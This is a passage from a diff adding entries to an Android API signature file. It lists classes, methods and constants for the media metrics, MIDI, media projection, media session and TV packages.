+    method @NonNull public android.media.metrics.PlaybackErrorEvent.Builder setErrorCode(int);
+    method @NonNull public android.media.metrics.PlaybackErrorEvent.Builder setException(@NonNull Exception);
+    method @NonNull public android.media.metrics.PlaybackErrorEvent.Builder setMetricsBundle(@NonNull android.os.Bundle);
+    method @NonNull public android.media.metrics.PlaybackErrorEvent.Builder setSubErrorCode(@IntRange(from=java.lang.Integer.MIN_VALUE, to=java.lang.Integer.MAX_VALUE) int);
+    method @NonNull public android.media.metrics.PlaybackErrorEvent.Builder setTimeSinceCreatedMillis(@IntRange(from=0xffffffff) long);
+  }
+
+  public final class PlaybackMetrics implements android.os.Parcelable {
+    method public int describeContents();
+    method @IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) public int getAudioUnderrunCount();
+    method public int getContentType();
+    method @NonNull public byte[] getDrmSessionId();
+    method public int getDrmType();
+    method @NonNull public long[] getExperimentIds();
+    method @IntRange(from=0xffffffff) public long getLocalBytesRead();
+    method @IntRange(from=0xffffffff) public long getMediaDurationMillis();
+    method @NonNull public android.os.Bundle getMetricsBundle();
+    method @IntRange(from=0xffffffff) public long getNetworkBytesRead();
+    method @IntRange(from=0xffffffff) public long getNetworkTransferDurationMillis();
+    method public int getPlaybackType();
+    method @Nullable public String getPlayerName();
+    method @Nullable public String getPlayerVersion();
+    method public int getStreamSource();
+    method public int getStreamType();
+    method @IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) public int getVideoFramesDropped();
+    method @IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) public int getVideoFramesPlayed();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int CONTENT_TYPE_AD = 2; // 0x2
+    field public static final int CONTENT_TYPE_MAIN = 1; // 0x1
+    field public static final int CONTENT_TYPE_OTHER = 3; // 0x3
+    field public static final int CONTENT_TYPE_UNKNOWN = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.metrics.PlaybackMetrics> CREATOR;
+    field public static final int DRM_TYPE_CLEARKEY = 6; // 0x6
+    field public static final int DRM_TYPE_NONE = 0; // 0x0
+    field public static final int DRM_TYPE_OTHER = 1; // 0x1
+    field public static final int DRM_TYPE_PLAY_READY = 2; // 0x2
+    field public static final int DRM_TYPE_WIDEVINE_L1 = 3; // 0x3
+    field public static final int DRM_TYPE_WIDEVINE_L3 = 4; // 0x4
+    field public static final int DRM_TYPE_WV_L3_FALLBACK = 5; // 0x5
+    field public static final int PLAYBACK_TYPE_LIVE = 2; // 0x2
+    field public static final int PLAYBACK_TYPE_OTHER = 3; // 0x3
+    field public static final int PLAYBACK_TYPE_UNKNOWN = 0; // 0x0
+    field public static final int PLAYBACK_TYPE_VOD = 1; // 0x1
+    field public static final int STREAM_SOURCE_DEVICE = 2; // 0x2
+    field public static final int STREAM_SOURCE_MIXED = 3; // 0x3
+    field public static final int STREAM_SOURCE_NETWORK = 1; // 0x1
+    field public static final int STREAM_SOURCE_UNKNOWN = 0; // 0x0
+    field public static final int STREAM_TYPE_DASH = 3; // 0x3
+    field public static final int STREAM_TYPE_HLS = 4; // 0x4
+    field public static final int STREAM_TYPE_OTHER = 1; // 0x1
+    field public static final int STREAM_TYPE_PROGRESSIVE = 2; // 0x2
+    field public static final int STREAM_TYPE_SS = 5; // 0x5
+    field public static final int STREAM_TYPE_UNKNOWN = 0; // 0x0
+  }
+
+  public static final class PlaybackMetrics.Builder {
+    ctor public PlaybackMetrics.Builder();
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder addExperimentId(long);
+    method @NonNull public android.media.metrics.PlaybackMetrics build();
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setAudioUnderrunCount(@IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) int);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setContentType(int);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setDrmSessionId(@NonNull byte[]);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setDrmType(int);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setLocalBytesRead(@IntRange(from=0xffffffff) long);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setMediaDurationMillis(@IntRange(from=0xffffffff) long);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setMetricsBundle(@NonNull android.os.Bundle);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setNetworkBytesRead(@IntRange(from=0xffffffff) long);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setNetworkTransferDurationMillis(@IntRange(from=0xffffffff) long);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setPlaybackType(int);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setPlayerName(@NonNull String);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setPlayerVersion(@NonNull String);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setStreamSource(int);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setStreamType(int);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setVideoFramesDropped(@IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) int);
+    method @NonNull public android.media.metrics.PlaybackMetrics.Builder setVideoFramesPlayed(@IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) int);
+  }
+
+  public final class PlaybackSession implements java.lang.AutoCloseable {
+    method public void close();
+    method @NonNull public android.media.metrics.LogSessionId getSessionId();
+    method public void reportNetworkEvent(@NonNull android.media.metrics.NetworkEvent);
+    method public void reportPlaybackErrorEvent(@NonNull android.media.metrics.PlaybackErrorEvent);
+    method public void reportPlaybackMetrics(@NonNull android.media.metrics.PlaybackMetrics);
+    method public void reportPlaybackStateEvent(@NonNull android.media.metrics.PlaybackStateEvent);
+    method public void reportTrackChangeEvent(@NonNull android.media.metrics.TrackChangeEvent);
+  }
+
+  public final class PlaybackStateEvent extends android.media.metrics.Event implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getState();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.metrics.PlaybackStateEvent> CREATOR;
+    field public static final int STATE_ABANDONED = 15; // 0xf
+    field public static final int STATE_BUFFERING = 6; // 0x6
+    field public static final int STATE_ENDED = 11; // 0xb
+    field public static final int STATE_FAILED = 13; // 0xd
+    field public static final int STATE_INTERRUPTED_BY_AD = 14; // 0xe
+    field public static final int STATE_JOINING_BACKGROUND = 1; // 0x1
+    field public static final int STATE_JOINING_FOREGROUND = 2; // 0x2
+    field public static final int STATE_NOT_STARTED = 0; // 0x0
+    field public static final int STATE_PAUSED = 4; // 0x4
+    field public static final int STATE_PAUSED_BUFFERING = 7; // 0x7
+    field public static final int STATE_PLAYING = 3; // 0x3
+    field public static final int STATE_SEEKING = 5; // 0x5
+    field public static final int STATE_STOPPED = 12; // 0xc
+    field public static final int STATE_SUPPRESSED = 9; // 0x9
+    field public static final int STATE_SUPPRESSED_BUFFERING = 10; // 0xa
+  }
+
+  public static final class PlaybackStateEvent.Builder {
+    ctor public PlaybackStateEvent.Builder();
+    method @NonNull public android.media.metrics.PlaybackStateEvent build();
+    method @NonNull public android.media.metrics.PlaybackStateEvent.Builder setMetricsBundle(@NonNull android.os.Bundle);
+    method @NonNull public android.media.metrics.PlaybackStateEvent.Builder setState(int);
+    method @NonNull public android.media.metrics.PlaybackStateEvent.Builder setTimeSinceCreatedMillis(@IntRange(from=0xffffffff) long);
+  }
+
+  public final class RecordingSession implements java.lang.AutoCloseable {
+    method public void close();
+    method @NonNull public android.media.metrics.LogSessionId getSessionId();
+  }
+
+  public final class TrackChangeEvent extends android.media.metrics.Event implements android.os.Parcelable {
+    method public int describeContents();
+    method @IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) public int getAudioSampleRate();
+    method @IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) public int getBitrate();
+    method @IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) public int getChannelCount();
+    method @Nullable public String getCodecName();
+    method @Nullable public String getContainerMimeType();
+    method @IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) public int getHeight();
+    method @Nullable public String getLanguage();
+    method @Nullable public String getLanguageRegion();
+    method @Nullable public String getSampleMimeType();
+    method public int getTrackChangeReason();
+    method public int getTrackState();
+    method public int getTrackType();
+    method @FloatRange(from=0xffffffff, to=java.lang.Float.MAX_VALUE) public float getVideoFrameRate();
+    method @IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) public int getWidth();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.metrics.TrackChangeEvent> CREATOR;
+    field public static final int TRACK_CHANGE_REASON_ADAPTIVE = 4; // 0x4
+    field public static final int TRACK_CHANGE_REASON_INITIAL = 2; // 0x2
+    field public static final int TRACK_CHANGE_REASON_MANUAL = 3; // 0x3
+    field public static final int TRACK_CHANGE_REASON_OTHER = 1; // 0x1
+    field public static final int TRACK_CHANGE_REASON_UNKNOWN = 0; // 0x0
+    field public static final int TRACK_STATE_OFF = 0; // 0x0
+    field public static final int TRACK_STATE_ON = 1; // 0x1
+    field public static final int TRACK_TYPE_AUDIO = 0; // 0x0
+    field public static final int TRACK_TYPE_TEXT = 2; // 0x2
+    field public static final int TRACK_TYPE_VIDEO = 1; // 0x1
+  }
+
+  public static final class TrackChangeEvent.Builder {
+    ctor public TrackChangeEvent.Builder(int);
+    method @NonNull public android.media.metrics.TrackChangeEvent build();
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setAudioSampleRate(@IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) int);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setBitrate(@IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) int);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setChannelCount(@IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) int);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setCodecName(@NonNull String);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setContainerMimeType(@NonNull String);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setHeight(@IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) int);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setLanguage(@NonNull String);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setLanguageRegion(@NonNull String);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setMetricsBundle(@NonNull android.os.Bundle);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setSampleMimeType(@NonNull String);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setTimeSinceCreatedMillis(@IntRange(from=0xffffffff) long);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setTrackChangeReason(int);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setTrackState(int);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setVideoFrameRate(@FloatRange(from=0xffffffff, to=java.lang.Float.MAX_VALUE) float);
+    method @NonNull public android.media.metrics.TrackChangeEvent.Builder setWidth(@IntRange(from=0xffffffff, to=java.lang.Integer.MAX_VALUE) int);
+  }
+
+}
+
+package android.media.midi {
+
+  public final class MidiDevice implements java.io.Closeable {
+    method public void close() throws java.io.IOException;
+    method public android.media.midi.MidiDevice.MidiConnection connectPorts(android.media.midi.MidiInputPort, int);
+    method public android.media.midi.MidiDeviceInfo getInfo();
+    method public android.media.midi.MidiInputPort openInputPort(int);
+    method public android.media.midi.MidiOutputPort openOutputPort(int);
+  }
+
+  public class MidiDevice.MidiConnection implements java.io.Closeable {
+    method public void close() throws java.io.IOException;
+  }
+
+  public final class MidiDeviceInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getId();
+    method public int getInputPortCount();
+    method public int getOutputPortCount();
+    method public android.media.midi.MidiDeviceInfo.PortInfo[] getPorts();
+    method public android.os.Bundle getProperties();
+    method public int getType();
+    method public boolean isPrivate();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.midi.MidiDeviceInfo> CREATOR;
+    field public static final String PROPERTY_BLUETOOTH_DEVICE = "bluetooth_device";
+    field public static final String PROPERTY_MANUFACTURER = "manufacturer";
+    field public static final String PROPERTY_NAME = "name";
+    field public static final String PROPERTY_PRODUCT = "product";
+    field public static final String PROPERTY_SERIAL_NUMBER = "serial_number";
+    field public static final String PROPERTY_USB_DEVICE = "usb_device";
+    field public static final String PROPERTY_VERSION = "version";
+    field public static final int TYPE_BLUETOOTH = 3; // 0x3
+    field public static final int TYPE_USB = 1; // 0x1
+    field public static final int TYPE_VIRTUAL = 2; // 0x2
+  }
+
+  public static final class MidiDeviceInfo.PortInfo {
+    method public String getName();
+    method public int getPortNumber();
+    method public int getType();
+    field public static final int TYPE_INPUT = 1; // 0x1
+    field public static final int TYPE_OUTPUT = 2; // 0x2
+  }
+
+  public abstract class MidiDeviceService extends android.app.Service {
+    ctor public MidiDeviceService();
+    method public final android.media.midi.MidiDeviceInfo getDeviceInfo();
+    method public final android.media.midi.MidiReceiver[] getOutputPortReceivers();
+    method public android.os.IBinder onBind(android.content.Intent);
+    method public void onClose();
+    method public void onDeviceStatusChanged(android.media.midi.MidiDeviceStatus);
+    method public abstract android.media.midi.MidiReceiver[] onGetInputPortReceivers();
+    field public static final String SERVICE_INTERFACE = "android.media.midi.MidiDeviceService";
+  }
+
+  public final class MidiDeviceStatus implements android.os.Parcelable {
+    method public int describeContents();
+    method public android.media.midi.MidiDeviceInfo getDeviceInfo();
+    method public int getOutputPortOpenCount(int);
+    method public boolean isInputPortOpen(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.midi.MidiDeviceStatus> CREATOR;
+  }
+
+  public final class MidiInputPort extends android.media.midi.MidiReceiver implements java.io.Closeable {
+    method public void close() throws java.io.IOException;
+    method public int getPortNumber();
+    method public void onSend(byte[], int, int, long) throws java.io.IOException;
+  }
+
+  public final class MidiManager {
+    method public android.media.midi.MidiDeviceInfo[] getDevices();
+    method public void openBluetoothDevice(android.bluetooth.BluetoothDevice, android.media.midi.MidiManager.OnDeviceOpenedListener, android.os.Handler);
+    method public void openDevice(android.media.midi.MidiDeviceInfo, android.media.midi.MidiManager.OnDeviceOpenedListener, android.os.Handler);
+    method public void registerDeviceCallback(android.media.midi.MidiManager.DeviceCallback, android.os.Handler);
+    method public void unregisterDeviceCallback(android.media.midi.MidiManager.DeviceCallback);
+  }
+
+  public static class MidiManager.DeviceCallback {
+    ctor public MidiManager.DeviceCallback();
+    method public void onDeviceAdded(android.media.midi.MidiDeviceInfo);
+    method public void onDeviceRemoved(android.media.midi.MidiDeviceInfo);
+    method public void onDeviceStatusChanged(android.media.midi.MidiDeviceStatus);
+  }
+
+  public static interface MidiManager.OnDeviceOpenedListener {
+    method public void onDeviceOpened(android.media.midi.MidiDevice);
+  }
+
+  public final class MidiOutputPort extends android.media.midi.MidiSender implements java.io.Closeable {
+    method public void close() throws java.io.IOException;
+    method public int getPortNumber();
+    method public void onConnect(android.media.midi.MidiReceiver);
+    method public void onDisconnect(android.media.midi.MidiReceiver);
+  }
+
+  public abstract class MidiReceiver {
+    ctor public MidiReceiver();
+    ctor public MidiReceiver(int);
+    method public void flush() throws java.io.IOException;
+    method public final int getMaxMessageSize();
+    method public void onFlush() throws java.io.IOException;
+    method public abstract void onSend(byte[], int, int, long) throws java.io.IOException;
+    method public void send(byte[], int, int) throws java.io.IOException;
+    method public void send(byte[], int, int, long) throws java.io.IOException;
+  }
+
+  public abstract class MidiSender {
+    ctor public MidiSender();
+    method public void connect(android.media.midi.MidiReceiver);
+    method public void disconnect(android.media.midi.MidiReceiver);
+    method public abstract void onConnect(android.media.midi.MidiReceiver);
+    method public abstract void onDisconnect(android.media.midi.MidiReceiver);
+  }
+
+}
+
+package android.media.projection {
+
+  public final class MediaProjection {
+    method public android.hardware.display.VirtualDisplay createVirtualDisplay(@NonNull String, int, int, int, int, @Nullable android.view.Surface, @Nullable android.hardware.display.VirtualDisplay.Callback, @Nullable android.os.Handler);
+    method public void registerCallback(android.media.projection.MediaProjection.Callback, android.os.Handler);
+    method public void stop();
+    method public void unregisterCallback(android.media.projection.MediaProjection.Callback);
+  }
+
+  public abstract static class MediaProjection.Callback {
+    ctor public MediaProjection.Callback();
+    method public void onStop();
+  }
+
+  public final class MediaProjectionManager {
+    method public android.content.Intent createScreenCaptureIntent();
+    method public android.media.projection.MediaProjection getMediaProjection(int, @NonNull android.content.Intent);
+  }
+
+}
+
+package android.media.session {
+
+  public final class MediaController {
+    ctor public MediaController(@NonNull android.content.Context, @NonNull android.media.session.MediaSession.Token);
+    method public void adjustVolume(int, int);
+    method public boolean dispatchMediaButtonEvent(@NonNull android.view.KeyEvent);
+    method @Nullable public android.os.Bundle getExtras();
+    method public long getFlags();
+    method @Nullable public android.media.MediaMetadata getMetadata();
+    method public String getPackageName();
+    method @Nullable public android.media.session.MediaController.PlaybackInfo getPlaybackInfo();
+    method @Nullable public android.media.session.PlaybackState getPlaybackState();
+    method @Nullable public java.util.List<android.media.session.MediaSession.QueueItem> getQueue();
+    method @Nullable public CharSequence getQueueTitle();
+    method public int getRatingType();
+    method @Nullable public android.app.PendingIntent getSessionActivity();
+    method @NonNull public android.os.Bundle getSessionInfo();
+    method @NonNull public android.media.session.MediaSession.Token getSessionToken();
+    method @NonNull public String getTag();
+    method @NonNull public android.media.session.MediaController.TransportControls getTransportControls();
+    method public void registerCallback(@NonNull android.media.session.MediaController.Callback);
+    method public void registerCallback(@NonNull android.media.session.MediaController.Callback, @Nullable android.os.Handler);
+    method public void sendCommand(@NonNull String, @Nullable android.os.Bundle, @Nullable android.os.ResultReceiver);
+    method public void setVolumeTo(int, int);
+    method public void unregisterCallback(@NonNull android.media.session.MediaController.Callback);
+  }
+
+  public abstract static class MediaController.Callback {
+    ctor public MediaController.Callback();
+    method public void onAudioInfoChanged(android.media.session.MediaController.PlaybackInfo);
+    method public void onExtrasChanged(@Nullable android.os.Bundle);
+    method public void onMetadataChanged(@Nullable android.media.MediaMetadata);
+    method public void onPlaybackStateChanged(@Nullable android.media.session.PlaybackState);
+    method public void onQueueChanged(@Nullable java.util.List<android.media.session.MediaSession.QueueItem>);
+    method public void onQueueTitleChanged(@Nullable CharSequence);
+    method public void onSessionDestroyed();
+    method public void onSessionEvent(@NonNull String, @Nullable android.os.Bundle);
+  }
+
+  public static final class MediaController.PlaybackInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public android.media.AudioAttributes getAudioAttributes();
+    method public int getCurrentVolume();
+    method public int getMaxVolume();
+    method public int getPlaybackType();
+    method public int getVolumeControl();
+    method @Nullable public String getVolumeControlId();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.session.MediaController.PlaybackInfo> CREATOR;
+    field public static final int PLAYBACK_TYPE_LOCAL = 1; // 0x1
+    field public static final int PLAYBACK_TYPE_REMOTE = 2; // 0x2
+  }
+
+  public final class MediaController.TransportControls {
+    method public void fastForward();
+    method public void pause();
+    method public void play();
+    method public void playFromMediaId(String, android.os.Bundle);
+    method public void playFromSearch(String, android.os.Bundle);
+    method public void playFromUri(android.net.Uri, android.os.Bundle);
+    method public void prepare();
+    method public void prepareFromMediaId(String, android.os.Bundle);
+    method public void prepareFromSearch(String, android.os.Bundle);
+    method public void prepareFromUri(android.net.Uri, android.os.Bundle);
+    method public void rewind();
+    method public void seekTo(long);
+    method public void sendCustomAction(@NonNull android.media.session.PlaybackState.CustomAction, @Nullable android.os.Bundle);
+    method public void sendCustomAction(@NonNull String, @Nullable android.os.Bundle);
+    method public void setPlaybackSpeed(float);
+    method public void setRating(android.media.Rating);
+    method public void skipToNext();
+    method public void skipToPrevious();
+    method public void skipToQueueItem(long);
+    method public void stop();
+  }
+
+  public final class MediaSession {
+    ctor public MediaSession(@NonNull android.content.Context, @NonNull String);
+    ctor public MediaSession(@NonNull android.content.Context, @NonNull String, @Nullable android.os.Bundle);
+    method @NonNull public android.media.session.MediaController getController();
+    method @NonNull public android.media.session.MediaSessionManager.RemoteUserInfo getCurrentControllerInfo();
+    method @NonNull public android.media.session.MediaSession.Token getSessionToken();
+    method public boolean isActive();
+    method public void release();
+    method public void sendSessionEvent(@NonNull String, @Nullable android.os.Bundle);
+    method public void setActive(boolean);
+    method public void setCallback(@Nullable android.media.session.MediaSession.Callback);
+    method public void setCallback(@Nullable android.media.session.MediaSession.Callback, @Nullable android.os.Handler);
+    method public void setExtras(@Nullable android.os.Bundle);
+    method public void setFlags(int);
+    method public void setMediaButtonBroadcastReceiver(@Nullable android.content.ComponentName);
+    method @Deprecated public void setMediaButtonReceiver(@Nullable android.app.PendingIntent);
+    method public void setMetadata(@Nullable android.media.MediaMetadata);
+    method public void setPlaybackState(@Nullable android.media.session.PlaybackState);
+    method public void setPlaybackToLocal(android.media.AudioAttributes);
+    method public void setPlaybackToRemote(@NonNull android.media.VolumeProvider);
+    method public void setQueue(@Nullable java.util.List<android.media.session.MediaSession.QueueItem>);
+    method public void setQueueTitle(@Nullable CharSequence);
+    method public void setRatingType(int);
+    method public void setSessionActivity(@Nullable android.app.PendingIntent);
+    field @Deprecated public static final int FLAG_HANDLES_MEDIA_BUTTONS = 1; // 0x1
+    field @Deprecated public static final int FLAG_HANDLES_TRANSPORT_CONTROLS = 2; // 0x2
+  }
+
+  public abstract static class MediaSession.Callback {
+    ctor public MediaSession.Callback();
+    method public void onCommand(@NonNull String, @Nullable android.os.Bundle, @Nullable android.os.ResultReceiver);
+    method public void onCustomAction(@NonNull String, @Nullable android.os.Bundle);
+    method public void onFastForward();
+    method public boolean onMediaButtonEvent(@NonNull android.content.Intent);
+    method public void onPause();
+    method public void onPlay();
+    method public void onPlayFromMediaId(String, android.os.Bundle);
+    method public void onPlayFromSearch(String, android.os.Bundle);
+    method public void onPlayFromUri(android.net.Uri, android.os.Bundle);
+    method public void onPrepare();
+    method public void onPrepareFromMediaId(String, android.os.Bundle);
+    method public void onPrepareFromSearch(String, android.os.Bundle);
+    method public void onPrepareFromUri(android.net.Uri, android.os.Bundle);
+    method public void onRewind();
+    method public void onSeekTo(long);
+    method public void onSetPlaybackSpeed(float);
+    method public void onSetRating(@NonNull android.media.Rating);
+    method public void onSkipToNext();
+    method public void onSkipToPrevious();
+    method public void onSkipToQueueItem(long);
+    method public void onStop();
+  }
+
+  public static final class MediaSession.QueueItem implements android.os.Parcelable {
+    ctor public MediaSession.QueueItem(android.media.MediaDescription, long);
+    method public int describeContents();
+    method public android.media.MediaDescription getDescription();
+    method public long getQueueId();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.session.MediaSession.QueueItem> CREATOR;
+    field public static final int UNKNOWN_ID = -1; // 0xffffffff
+  }
+
+  public static final class MediaSession.Token implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.session.MediaSession.Token> CREATOR;
+  }
+
+  public final class MediaSessionManager {
+    method public void addOnActiveSessionsChangedListener(@NonNull android.media.session.MediaSessionManager.OnActiveSessionsChangedListener, @Nullable android.content.ComponentName);
+    method public void addOnActiveSessionsChangedListener(@NonNull android.media.session.MediaSessionManager.OnActiveSessionsChangedListener, @Nullable android.content.ComponentName, @Nullable android.os.Handler);
+    method public void addOnSession2TokensChangedListener(@NonNull android.media.session.MediaSessionManager.OnSession2TokensChangedListener);
+    method public void addOnSession2TokensChangedListener(@NonNull android.media.session.MediaSessionManager.OnSession2TokensChangedListener, @NonNull android.os.Handler);
+    method @NonNull public java.util.List<android.media.session.MediaController> getActiveSessions(@Nullable android.content.ComponentName);
+    method @NonNull public java.util.List<android.media.Session2Token> getSession2Tokens();
+    method public boolean isTrustedForMediaControl(@NonNull android.media.session.MediaSessionManager.RemoteUserInfo);
+    method @Deprecated public void notifySession2Created(@NonNull android.media.Session2Token);
+    method public void removeOnActiveSessionsChangedListener(@NonNull android.media.session.MediaSessionManager.OnActiveSessionsChangedListener);
+    method public void removeOnSession2TokensChangedListener(@NonNull android.media.session.MediaSessionManager.OnSession2TokensChangedListener);
+  }
+
+  public static interface MediaSessionManager.OnActiveSessionsChangedListener {
+    method public void onActiveSessionsChanged(@Nullable java.util.List<android.media.session.MediaController>);
+  }
+
+  public static interface MediaSessionManager.OnSession2TokensChangedListener {
+    method public void onSession2TokensChanged(@NonNull java.util.List<android.media.Session2Token>);
+  }
+
+  public static final class MediaSessionManager.RemoteUserInfo {
+    ctor public MediaSessionManager.RemoteUserInfo(@NonNull String, int, int);
+    method public String getPackageName();
+    method public int getPid();
+    method public int getUid();
+  }
+
+  public final class PlaybackState implements android.os.Parcelable {
+    method public int describeContents();
+    method public long getActions();
+    method public long getActiveQueueItemId();
+    method public long getBufferedPosition();
+    method public java.util.List<android.media.session.PlaybackState.CustomAction> getCustomActions();
+    method public CharSequence getErrorMessage();
+    method @Nullable public android.os.Bundle getExtras();
+    method public long getLastPositionUpdateTime();
+    method public float getPlaybackSpeed();
+    method public long getPosition();
+    method public int getState();
+    method public boolean isActive();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final long ACTION_FAST_FORWARD = 64L; // 0x40L
+    field public static final long ACTION_PAUSE = 2L; // 0x2L
+    field public static final long ACTION_PLAY = 4L; // 0x4L
+    field public static final long ACTION_PLAY_FROM_MEDIA_ID = 1024L; // 0x400L
+    field public static final long ACTION_PLAY_FROM_SEARCH = 2048L; // 0x800L
+    field public static final long ACTION_PLAY_FROM_URI = 8192L; // 0x2000L
+    field public static final long ACTION_PLAY_PAUSE = 512L; // 0x200L
+    field public static final long ACTION_PREPARE = 16384L; // 0x4000L
+    field public static final long ACTION_PREPARE_FROM_MEDIA_ID = 32768L; // 0x8000L
+    field public static final long ACTION_PREPARE_FROM_SEARCH = 65536L; // 0x10000L
+    field public static final long ACTION_PREPARE_FROM_URI = 131072L; // 0x20000L
+    field public static final long ACTION_REWIND = 8L; // 0x8L
+    field public static final long ACTION_SEEK_TO = 256L; // 0x100L
+    field public static final long ACTION_SET_PLAYBACK_SPEED = 4194304L; // 0x400000L
+    field public static final long ACTION_SET_RATING = 128L; // 0x80L
+    field public static final long ACTION_SKIP_TO_NEXT = 32L; // 0x20L
+    field public static final long ACTION_SKIP_TO_PREVIOUS = 16L; // 0x10L
+    field public static final long ACTION_SKIP_TO_QUEUE_ITEM = 4096L; // 0x1000L
+    field public static final long ACTION_STOP = 1L; // 0x1L
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.session.PlaybackState> CREATOR;
+    field public static final long PLAYBACK_POSITION_UNKNOWN = -1L; // 0xffffffffffffffffL
+    field public static final int STATE_BUFFERING = 6; // 0x6
+    field public static final int STATE_CONNECTING = 8; // 0x8
+    field public static final int STATE_ERROR = 7; // 0x7
+    field public static final int STATE_FAST_FORWARDING = 4; // 0x4
+    field public static final int STATE_NONE = 0; // 0x0
+    field public static final int STATE_PAUSED = 2; // 0x2
+    field public static final int STATE_PLAYING = 3; // 0x3
+    field public static final int STATE_REWINDING = 5; // 0x5
+    field public static final int STATE_SKIPPING_TO_NEXT = 10; // 0xa
+    field public static final int STATE_SKIPPING_TO_PREVIOUS = 9; // 0x9
+    field public static final int STATE_SKIPPING_TO_QUEUE_ITEM = 11; // 0xb
+    field public static final int STATE_STOPPED = 1; // 0x1
+  }
+
+  public static final class PlaybackState.Builder {
+    ctor public PlaybackState.Builder();
+    ctor public PlaybackState.Builder(android.media.session.PlaybackState);
+    method public android.media.session.PlaybackState.Builder addCustomAction(String, String, int);
+    method public android.media.session.PlaybackState.Builder addCustomAction(android.media.session.PlaybackState.CustomAction);
+    method public android.media.session.PlaybackState build();
+    method public android.media.session.PlaybackState.Builder setActions(long);
+    method public android.media.session.PlaybackState.Builder setActiveQueueItemId(long);
+    method public android.media.session.PlaybackState.Builder setBufferedPosition(long);
+    method public android.media.session.PlaybackState.Builder setErrorMessage(CharSequence);
+    method public android.media.session.PlaybackState.Builder setExtras(android.os.Bundle);
+    method public android.media.session.PlaybackState.Builder setState(int, long, float, long);
+    method public android.media.session.PlaybackState.Builder setState(int, long, float);
+  }
+
+  public static final class PlaybackState.CustomAction implements android.os.Parcelable {
+    method public int describeContents();
+    method public String getAction();
+    method public android.os.Bundle getExtras();
+    method public int getIcon();
+    method public CharSequence getName();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.session.PlaybackState.CustomAction> CREATOR;
+  }
+
+  public static final class PlaybackState.CustomAction.Builder {
+    ctor public PlaybackState.CustomAction.Builder(String, CharSequence, @DrawableRes int);
+    method public android.media.session.PlaybackState.CustomAction build();
+    method public android.media.session.PlaybackState.CustomAction.Builder setExtras(android.os.Bundle);
+  }
+
+}
+
+package android.media.tv {
+
+  public final class TvContentRating {
+    method public boolean contains(@NonNull android.media.tv.TvContentRating);
+    method public static android.media.tv.TvContentRating createRating(String, String, String, java.lang.String...);
+    method public String flattenToString();
+    method public String getDomain();
+    method public String getMainRating();
+    method public String getRatingSystem();
+    method public java.util.List<java.lang.String> getSubRatings();
+    method public static android.media.tv.TvContentRating unflattenFromString(String);
+    field public static final android.media.tv.TvContentRating UNRATED;
+  }
+
+  public final class TvContract {
+    method public static android.net.Uri buildChannelLogoUri(long);
+    method public static android.net.Uri buildChannelLogoUri(android.net.Uri);
